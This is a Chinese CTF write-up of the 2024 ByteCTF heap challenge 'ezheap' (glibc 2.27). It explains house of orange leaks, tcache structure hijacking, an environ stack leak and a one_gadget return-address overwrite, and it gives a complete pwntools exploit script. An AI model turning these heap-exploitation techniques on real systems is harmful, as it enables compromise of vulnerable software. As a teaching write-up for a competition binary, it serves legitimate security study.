2024ByteCTF-PWN-ezheap

这次比赛一共有两道堆题,这道算签到,另一道只有两解,内核题,那就说说这道ezheap咋做吧,这是libc2.27的题,基本思路就是house of orange泄露libc和堆地址+tcache结构体劫持任意写+泄露environ的栈地址,最后打one_gadget

堆题常规菜单,给出了4个功能,增删改查,不过这个删除功能并没有什么卵用,没有free函数

这是freechunk函数,做的时候也没用过

 接下来我们看add函数,大小自己决定,没有限制,但最多申请15个

再看edit函数,先让输入修改的大小,这里没有任何检查,这里造成了无限堆溢出,想溢出多少都可以,但是里面有一个checksanbox函数,这里面限制我们无法使用hook

最后看一下show函数,常规打印

接下来就该分析怎么做了,没有free函数,那就用house of orange改掉top_chunk的大小,先把它放进unsortedbin中泄露出libc及堆地址,注意要满足4KB对齐,2.27有tcache结构,为了将其丢到unsortedbin中,我们设置的大小要足够大,具体代码如下

# get heap_base 
add(0x10) 
edit(0,0x20,b"a"*0x10+p64(0)+p64(0xd91))#溢出修改top_chunk

add(0xf00) #申请大于现在top_chunk大小的chunk,不能随意写,因为要为下面劫持到tcache做准备
add(0x30) #切割unsortedbin
show(2) #泄露libc
rl(b'Chunk at index 2: ')
libc_base = get_addr() - 4113056
print(hex(libc_base))
edit(2,0x10,b"a"*0x10)

show(2)

rl(b"a"*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 624 #泄露堆地址
print(f"heap_base: {hex(heap_base)}")

现在我们已经有了堆和libc地址,接下来我们就要劫持tcache结构体了,如何劫持呢,思路跟上面差不多,依旧是修改top_chunk,但是这次要将其放进tcache中了,之后就是修改其next指针指向tcache结构体,这样我们就能任意地址分配chunk,即任意地址读写的能力

one_gadget = libc_base + 0x10a38c
add(0xd20) #3
add(0x10) #4
edit(4,0x100,b"a"*0x10+p64(0)+p64(0xd1))
add(0xf0) #5 
edit(4,0x100,p64(0)*3+p64(0xb1)+p64(heap_base+0x10)*2) #劫持tcache结构体
add(0xa0) #6
add(0xa0) #7 这个堆块分配到了tcache结构体

 因为前面的限制,我们没有办法利用hook来打one_gadget,但是我们有任意地址读写的能力,所以就泄露environ的栈地址,我们直接在栈上劫持控制流

environ = libc_base + 0x3EE098
print(f"environ: {hex(environ)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(environ))
add(0x28) #8
show(8)
rl(b'Chunk at index 8: ')
stack = u64(p.recvuntil(b"\x0a")[-8:-1].ljust(8, b"\x00"))
attack_addr = stack - 288
print(f"stack: {hex(stack)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(0)+p64(attack_addr))
add(0x38) #9
debug()
edit(9,0x38,p64(one_gadget)*7)

inter()

具体的attack_addr为多少需要自己调试,劫持的是edit的控制流

完整exp如下

from pwn import *
from struct import pack
from ctypes import *

from LibcSearcher import *


def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("113.201.14.253", 11332)
libc = ELF("./libc-2.27.so")
elf = ELF('./pwn')
def add(size):
    sla(b'to exit:', b'1')
    sla(b'Enter size to add:', str(size))
def free(size):
    sla(b'to exit:', b'2')
    sla(b'Enter size to free:', str(size))
def show(idx):
    sla(b'to exit:', b'3')
    sla(b'Enter index to show:', str(idx))

def edit(idx,size,content):
    sla(b'to exit:', b'4')
    sla(b'Enter index to edit:', str(idx))
    sla(b'input size', str(size))
    sla(b'input', content)

# get heap_base 
add(0x10)
edit(0,0x20,b"a"*0x10+p64(0)+p64(0xd91))

add(0xf00)
add(0x30)
show(2)
rl(b'Chunk at index 2: ')
libc_base = get_addr() - 4113056
print(hex(libc_base))
edit(2,0x10,b"a"*0x10)

show(2)

rl(b"a"*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 624

one_gadget = libc_base + 0x10a38c
add(0xd20) #3
add(0x10) #4
edit(4,0x100,b"a"*0x10+p64(0)+p64(0xd1))
add(0xf0) #5
edit(4,0x100,p64(0)*3+p64(0xb1)+p64(heap_base+0x10)*2) #劫持tcache结构体
add(0xa0) #6
add(0xa0) #7

environ = libc_base + 0x3EE098
print(f"environ: {hex(environ)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(environ))
# 0x7fffffffe138 - 288
add(0x28) #8
show(8)
rl(b'Chunk at index 8: ')
stack = u64(p.recvuntil(b"\x0a")[-8:-1].ljust(8, b"\x00"))
attack_addr = stack - 288
print(f"stack: {hex(stack)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(0)+p64(attack_addr))
add(0x38) #9
debug()
edit(9,0x38,p64(one_gadget)*7)

inter()

  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值